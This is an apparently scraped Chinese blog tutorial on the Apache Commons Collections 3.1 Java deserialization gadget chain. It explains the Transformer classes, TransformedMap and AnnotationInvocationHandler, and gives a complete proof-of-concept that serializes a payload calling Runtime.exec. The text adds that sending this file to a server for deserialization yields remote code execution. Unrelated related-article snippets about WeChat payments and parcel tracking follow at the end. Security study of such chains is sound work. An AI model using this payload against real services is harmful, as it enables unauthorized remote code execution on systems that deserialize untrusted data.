[java安全]CommonsCollections3.1

news/2024/12/23 3:51:12/

文章目录

    • 【java安全】CommonsCollections3.1
      • InvokerTransformer
      • ConstantTransformer
      • ChainedTransformer
      • TransformedMap
      • 如何触发checkSetValue()方法?
      • AnnotationInvocationHandler
      • poc
      • 利用链

【java安全】CommonsCollections3.1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数

我们首先看一看构造方法:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}

为参数赋初值

transform()方法

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);}...}}

该方法会使用反射机制,将传入的对象input使用getClass()方法获取Class对象,然后使用getMethod()获取方法的Method对象,最后传参invoke()调用函数

那么我们就可以通过InvokerTransformer这么执行命令

import org.apache.commons.collections.functors.InvokerTransformer;public class InvokerTransformerDemo {public static void main(String[] args) throws Exception {//Class runtimeClass=Class.forName("java.lang.Runtime");//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}).transform(runtimeClass);//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象Object runtime=new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}).transform(m_getMethod);//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象Object exec=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"}).transform(runtime);}
}

Runtime类的getRuntime()函数是静态方法,所以使用反射不需要传入对象,传个null即可

public static Runtime getRuntime() {return currentRuntime;}

ConstantTransformer

这个类的transform()方法很简单:

public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}
public Object transform(Object input) {return this.iConstant;}

传入什么对象,就返回什么对象

ChainedTransformer

构造函数:

public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}

将传入的transformer数组赋值给 iTransformers 变量

再看transform()方法:(重点)

public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法,并且会将前一个的返回值通过object变量传给后面一个

于是我们可以构造出新的链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;public class ReflectionChain {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"})};ChainedTransformer chain= new ChainedTransformer(transformers);chain.transform(null);}
}

至此,我们漏洞利用条件是构造出含命令的ChainedTransformer对象,然后触发transform()方法

如何才能触发呢?

我们需要看看TransformedMap类的源码:

TransformedMap

TransformedMap类中,存在一个checkSetValue()方法,可以调用transform()方法:

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

我们可以通过创建TransformMap对象来调用该方法,但是如何创建对象呢?

我们可以使用decorate()静态方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

于是,我们可以将构造的链子传入TransformedMap对象中:

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

如何触发checkSetValue()方法?

Map是java的接口,

Map.entrySet()的返回值是一个Set集合,此集合的类型是Map.Entry

我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是AbstractInputCheckedMapDecorator类中存在setValue()方法,可以调用checkSetValue()

static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = this.parent.checkSetValue(value);return this.entry.setValue(value);}}

根据继承和多态,我们知道TransformedMap类中也有setValue()方法

我们可以对outmap对象如下操作就可触发命令执行:

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用setValue()方法,我们需要实现带有readObject()方法的类调用setValue()方法,这样就可以实现反序列化RCE了

这里需要用到AnnotationInvocationHandler类:

AnnotationInvocationHandler

AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法

image-20230715013946405

构造函数:

image-20230715014403089

这里先直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  1. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素

poc

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;public class CommonCollections11 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })};               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "xxx");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

image-20230715014441472

以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

image-20230715103609385

CC链学习-上 - 先知社区 (aliyun.com)

Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)


http://www.ppmy.cn/news/896739.html

相关文章

微信下单、支付流程和注意事项

目录 1.官方微信支付流程 2.平台微信下单支付流程 3.关键代码 5.注意事项 1.官方微信支付流程 2.平台微信下单支付流程 3.关键代码 生成微信签名代码 /*** 生成签名* return 签名*/public static String getSign(Map<String,?> map){List<String> list new …

微信公众号-被动回复消息(文本回复)

首先要拼接对应的格式模板 $this->textTpl "<xml><ToUserName><![CDATA[%s]]></ToUserName><FromUserName><![CDATA[%s]]></FromUserName><CreateTime>%s</CreateTime><MsgType><![CDATA[%s]]><…

教你凭单号查询跟踪包裹物流

在发出货物包裹后&#xff0c;如何跟踪物流呢&#xff1f;一般发出的包裹都会有单号。今天就教大家批量查询单号物流信息。跟踪包裹。一起来看查询的步骤。 查询前先在电脑上下载安装一个【快递批量查询高手】&#xff0c;这个可以批量查询。软件安全&#xff0c;绿色可以放心…

微信支付:商户订单号重复

调微信同一下单接口&#xff0c;返回值中有 <result_code><![CDATA[FAIL]]></result_code> <err_code><![CDATA[OUT_TRADE_NO_USED]]></err_code> <err_code_des><![CDATA[商户订单号重复]]></err_code_des> 原因是&a…

怎么查微信公众号服务器,微信公众号查询数据库,微信公众号数据库怎么查询?...

微信公众号查询数据库&#xff0c;微信公众号数据库怎么查询?以下是小编整理的微信公众号怎么查询数据库的内容。有兴趣的朋友可以往下看看。希望以下的的内容能对您有帮助。 1、 启用消息接口登陆微信公众平台&#xff0c; 选择&#xff1a;高级功能&#xff0c;可以看到页面…

NC65 报销单使用银企直联网银支付后,银行的电子回执单的收款人开户行跟报销单的收款对象的开户行不一致

NC65 报销单使用银企直联网银支付后&#xff0c;银行的电子回执单的收款人开户行跟报销单的收款对象的开户行不一致&#xff0c;如下图&#xff1a; 解决方案&#xff1a;检查供应商的银行账户对应的联行号是否跟开户行对应。如果不对应&#xff0c;则需要修改为对应的。 如上述…

微信官方表单验证及提交

<view class"page"><mp-toptips msg"{{error}}" type"error" show"{{error}}"></mp-toptips><mp-form-page title"表单结构" subtitle"展示表单页面。"><mp-form id"form" …